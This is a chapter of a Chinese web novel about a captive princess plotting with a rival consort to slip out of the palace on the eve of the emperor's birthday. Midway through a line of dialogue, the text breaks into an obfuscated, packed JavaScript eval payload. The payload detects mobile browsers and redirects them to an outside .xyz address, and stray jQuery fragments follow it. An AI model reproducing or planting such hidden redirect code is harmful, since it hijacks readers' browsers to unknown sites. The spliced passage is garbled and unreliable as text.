25. 前夜

作品:《渣过的前任称帝了

    万寿节前一日,建京落了场大雪。


    雪势来的急去的也急,一夜的功夫,宫檐上便积了厚厚一层,压得顶上的琉璃瓦都瞧不见原本的模样。


    宫人们却是高兴极了,都说瑞雪兆丰年,还偏生落在万寿节的前一天,当是老天爷给的好意头。


    可这好意头,却叫卿娆高兴不起来。


    长乐宫,殿内生着地龙,烤的整个屋子都暖洋洋的。


    卿娆倚在雕着缠枝莲纹的花窗边,拧着眉绣手里的花样子。


    她本就不擅女红,眼下更是没什么耐心,一张好好的料子绣的针脚歪斜,难看的很,偏生她一针一针硬是绣了下去。


    “主子。”


    外间一阵脚步传来,瑾月掀帘而入,淡粉的冬袄上是未化的落雪。


    她手中攥着几支红梅,谨慎地望了望外头,才将红梅搁进琉璃花樽中。


    赤红如霞的花枝,衬得殿中多了几分艳色。


    卿娆却没半点欣赏的心思,抬眸低声问瑾月:“如何?可有消息了?”


    嗓音急切中藏着一丝紧张。


    瑾月颔首,走近几步,凑至她耳边低声道:“玄羽传信来,那两人当夜就被下了狱,此后再未见着,想来是活不成了。”


    她顿了顿,见卿娆面色有些白,又补了一句:“因着这事儿,圣上有令,宫中戍卫加强值守,玄羽要传信过来,也是不易。”


    卿娆捏着绣花针的手这才慢慢松开,将花绷子搁在桌上。


    她望了眼窗外的落雪,轻轻呼出一口气。


    那两人...是她命玄羽放出去试探秦箴的,若他真是有意放纵她暗中动作,那便会睁一只眼闭一只眼。


    如今这二人落在秦箴手中,倒叫她心里踏实了几分,证明秦箴对她的小动作并不知晓。


    还好...


    卿娆缓缓吐出一口气,可释然之后,一股冷意又袭上指尖。


    有了这一遭,明日只怕更难成事。


    正这般想着,外头忽然传来一阵脚步声,卿娆抬起头,便见芷月匆匆进来禀道:“主子,静瑜郡主求见。”


    卿娆眸色一动。


    秦箴上回捧着凤袍过来时并未压着消息,眼下阖宫上下都知她是板上钉钉的未来皇后,柳莺莺这个节骨眼过来,还真有些耐人寻味。


    再一想到前些日子的传闻,卿娆眸中闪过一道暗光,随即拂了拂衣袖,至桌案边坐下,吩咐道:“请她进来。”


    未多时,帘外便传来轻微的衣角摩挲声。


    柳莺莺一身月光锦制成的窄袖交领宫装,上头用暗线绣成疏落有致的繁复兰纹,随着她的走动若隐若现。


    宫装外头是一件雪狐裘滚边的玉色斗篷,风帽边缘一圈蓬松柔软的狐毛,簇拥着她苍白小巧的下颌,更添几分我见犹怜的弱质之感,像极了池中被风吹弯的小白莲。


    见她孤身一人而来,卿娆对那传言又信了几分。


    不等柳莺莺落座,便笑吟吟开口道:“听闻郡主嗓子好了,今日一见,果真如此。”


    柳莺莺眉眼间仍是温顺柔和的模样,闻言软软望向卿娆,艰难开口道:“妾可否同殿下单独说说话?”


    她开口时声音嘶哑得厉害,像是掺了无数砂石。


    卿娆自然无有不应,吩咐瑾月等人退下后,才将刚上的热茶往柳莺莺面前推了推:“天寒风大,郡主不妨先饮口热茶再说。”


    柳莺莺并不推辞,伸出细白的手指将那茶盏接了,饮过后才开口:“幸得圣上垂怜,替妾寻到医师,调养了些日子,才堪堪能说话。”


    卿娆扫过她澄澈的双眼,漫不经心地点了点头:“圣上对郡主,倒是情深义重。”


    闻言,柳莺莺苦涩一笑,并不接话。


    她不开口,卿娆也不多话,只捧了茶盏一口一口慢慢饮着。


    良久,柳莺莺才忽地出声:“殿下可知,这宫中人人都在说,过了明日,您便是大楚名正言顺的国母了。”


    卿娆勾了勾唇:“无稽之谈,郡主也信么?”


    “真是无稽之谈吗?”柳莺莺抬起头,目光直直望着卿娆。


    她生的一双秋水清眸,望着人时并不尖锐,却叫人无法忽视。


    卿娆放下茶盏:“郡主此话何意?”


    柳莺莺抿了抿唇,再望向卿娆时似鼓足了勇气:“若是妾说,妾能帮殿下呢?”


    “我听不懂郡主在说什么。”


    闻言,柳莺莺眸中闪过一丝着急,目光灼灼道:“殿下并不想留在宫中,不是么?”


    卿娆唇边的笑意一瞬间淡了下去:“郡主慎言。”


    她伸出指尖,轻轻拨弄着茶盖边缘:“圣上龙章凤姿,又肯给我全天下女人最尊贵的位置,我为何不愿?”


    柳莺莺垂下眼睫:“妾出身寒微,见识甚少,却也听过公主盛名。”


    “前朝飘摇欲坠之时,卿氏与大楚全靠公主一人周旋支撑,这样的人,怎会甘心雌伏于仇人身下?”


    “这样的人,又怎肯将此生囿于后宫之中,失了外头的无穷天地?”


    卿娆指尖一紧,茶盖在桌上打了个旋。


    “郡主若是有话,不妨开门见山。”


    “妾想要帮殿下一回。”


    “帮我?”


    “是。”柳莺莺伸手入怀,取出一枚玉质腰牌,置于案几之上。


    那上头刻着她的封号,玉牌在阳光下闪着细碎的金光。


    “既是帮殿下,也是帮妾自己。”


    不等卿娆说话,柳莺莺便徐徐开口:“圣上从不限制妾出宫,这些日子,妾几乎每隔一两日便要出宫一趟,与戍守的侍卫们颇为熟识,只是每每都兜帽遮面。”


    “天色模糊时,只要小心行事,持此令牌出宫,不会有人阻拦。”


    这般重的诱惑摆在面前,饶是卿娆也有些动摇。


    她抬起眼,神色却平静:“郡主可知,只要我拿了这腰牌,走到宫门,无论成与不成,秦箴都不会放过你。”


    柳莺莺沉默了一瞬,忽然低低笑出声来,那笑声沙哑得吓人。


    她道:“顶多是责罚,不会杀妾的。”


    她抬头,眸光忽然锐利,“圣上重情,念在救命之恩的情分,也会留妾一条命”


    “可只要殿下在,圣上就永远看不到妾,比起这个,责罚又算得了什么?”


    卿娆微微一怔:“那你为何不用救命之恩,换他留你在身边?”


    “挟恩图报么?”柳莺莺语气温软:“妾试过了,没有用。”


    殿中静默良久,卿娆胸口有些难受。


    同为女子,柳莺莺这样将自己剖开给她看,她做不到无动于衷。


    静默良久,她才轻声道:“你想如何做?”


    柳莺莺看向她,微微一笑:“想来殿下早就有了打算,妾愿听命行事。”


    卿娆抬了抬眸:“明晚夜宴,宫中备下的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16504082|183926||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    甜汤是燕窝牛乳羹,只是你那盏,我会命人在其中放些花生末,届时,我希望你能缠住秦箴。”


    “愿为殿下马前卒。”


    阳光透过窗柩,落在柳莺莺面上,将她半张脸照的白玉无瑕。


    卿娆心底忽地一动,冲她道:“多谢。”


    柳莺莺却是莞尔一笑,难得俏皮地冲卿娆眨了眨眼:“是妾多谢殿下才是。”


    “只是殿下既这般说了,妾倒是想腆着脸向殿下讨要一物。”


    见卿娆望来,柳莺莺轻声道:“听闻殿下早年曾得了一颗南海鲛丸,服之能令嗓音如月下海妖般婉转动人,妾既已能言,若再有此物,也算不枉此行。”


    卿娆眉心轻动,柳莺莺既知此物存在,十有八九是秦箴告诉她的。


    她父皇刚登基那年,她从荣阳手中抢了不少东西,这鲛丸,便是其中之一。


    至于秦箴为何知道,那是因为,这东西算是他帮着自己抢来的。


    秦箴能将此事说与柳莺莺,看来对她也并非全无情谊。


    思及此,卿娆一口应了下来:“自然该谢。”


    说完,便召来瑾月将东西递给柳莺莺。


    临走时,柳莺莺抬起眼,瞧着对面绝色的少女有些恍惚,旋即含笑低声道:“多谢殿下。”


    卿娆摇头,含笑替她整了整脑后的兜帽,亲自将人送走。


    待回到内室,卿娆将那枚玉牌攥入掌心,摩挲良久。


    夜色降临时,御前总管吴艮难得走了遭长乐宫,传了秦箴的口谕,请她去乾盛殿一趟,道是圣上特意派了御辇来接。


    闻言,卿娆挑了挑眉:“有劳吴公公,容我换身衣裳再去。”


    吴艮哪敢有话说,自然是讪笑着应了。


    行至一半时,卿娆望着正在往树上挂灯笼的宫人们:“这是在做什么?”


    听她问话,吴艮连忙凑上前,谄媚道:“圣上说了,明儿个是个大日子,这宫中定要红红火火的才行。”


    旁人不知,他还不知么?


    眼前这位可是圣上的心尖尖,便是连御辇都用来接人了,他自然要小心敬着捧着的。


    不料卿娆却反应平平,只淡淡应了一声,直至御辇在乾盛殿停下,也未再出声。


    至乾盛殿时,天色已全然暗了下来,吴艮留在殿外,仅请了她一人进去。


    踏入前殿,空无一人。


    卿娆不知秦箴葫芦里卖的什么药,脚下一转,便去内室寻他。


    刚迈过内殿门口的屏风,卿娆便被眼前的景象微微一震。


    若非是她亲自走进来的,她只怕要怀疑走错了地方。


    乾盛殿乃是帝王居所,向来庄溯华贵,陈设皆以黑金和明黄为主,象征帝王威仪。


    可眼前,整个内殿皆燃起暖红的宫灯,原本明黄的帘幔也换成了耀眼的赤红色。


    书桌旁的多宝格上添了许多精巧的玉器玩物,地上也铺了厚厚的缠枝牡丹地毯,处处透着一种不合时宜的精致与暖意。


    殿内烛火通明,映得满室红光流转。


    “如何?可喜欢?”


    男子低沉的嗓音传来,卿娆扭头望去。


    秦箴一身玄色宽松寝衣,墨发未束,随意披散在身后,不知何时出现在她身后,目光温柔。


    就在她怔忪的当口,男人早已大步走近,从身后自然地伸臂拢住了她的身子,下颌轻抵在她发顶,低笑道:“怎么傻了?”